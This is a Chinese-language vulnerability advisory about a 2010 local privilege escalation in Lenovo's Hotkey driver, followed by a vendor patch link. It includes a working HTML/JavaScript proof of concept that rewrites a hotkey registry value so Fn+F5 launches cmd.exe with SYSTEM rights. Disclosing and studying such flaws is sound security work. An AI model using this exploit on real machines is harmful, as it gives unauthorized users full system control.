联想笔记本电脑Hotkey驱动本地权限提升漏洞
发布日期：2010-03-09
更新日期：2010-03-10
受影响系统：Lenovo Hotkey Driver <= v5.33
描述：
Hotkey驱动是联想笔记本电脑中用于监控和执行特定热键（Fn键）操作的应用程序。
Hotkey驱动默认为以NT Authority\System权限运行的服务。在检测到热键时，Hotkey驱动会检查指定文件的注册表项并启动和调用该文件。例如，当按下Fn + F5组合时Hotkey驱动会检查HKEY_LOCAL_MACHINE\SOFTWARE\IBM\TPHOTKEY\CLASS\01\05下名为File注册表项值，然后启动指定的应用程序（默认为Tp/AcFnF5.exe）。
即使用户尚未登录，也可以使用Hotkey驱动。由于在调用时没有验证将要启动的注册表项值，且操作系统没有监控热键是否发生变化，因此拥有有限注册表访问权限的本地用户可以将热键更改为任意应用程序，之后在按下热键时以System权限执行。
<*来源：Chilik Tamir
链接：
http://invalid-packet.blogspot.com/2010/03/full-disclosure-security-vulnerability.html
*>
测试方法：
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
<head>
<script language="javaScript" type="text/javascript">
myobject = new ActiveXObject("WScript.Shell")
function install()
{
uri="HKEY_LOCAL_MACHINE\\SOFTWARE\\IBM\\TPHOTKEY\\CLASS\\01\\05";
tag="\\"
var value="File";
var data="cmd.exe";
myobject.run("reg.exe"+" copy "+uri+" "+uri+"\\backup "+" /f ");
myobject.run("reg.exe"+" ADD "+uri+" /v "+value+" /d "+data+" /f ");
value="Parameters";
data="/T:74";
myobject.run("reg.exe"+" ADD "+uri+" /v "+value+" /d "+data+" /f ");
}
function remove()
{
uri="HKEY_LOCAL_MACHINE\\SOFTWARE\\IBM\\TPHOTKEY\\CLASS\\01\\05";
myobject.run("reg.exe"+" copy "+uri+"\\backup "+uri+" /f ");
}
</script>
</head><body>
<h1>Lenovo Access Connection Exploite POC<h1>
<button onclick="install()">Install RootKit</button><P><button onclick="remove()">Remove RootKit</button>
</body></html>
建议：
厂商补丁：
Lenovo
------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：
http://www-307.ibm.com/pc/support/site.wss/MIGR-74261.html浏览次数：3836
严重程度：0（网友投票）
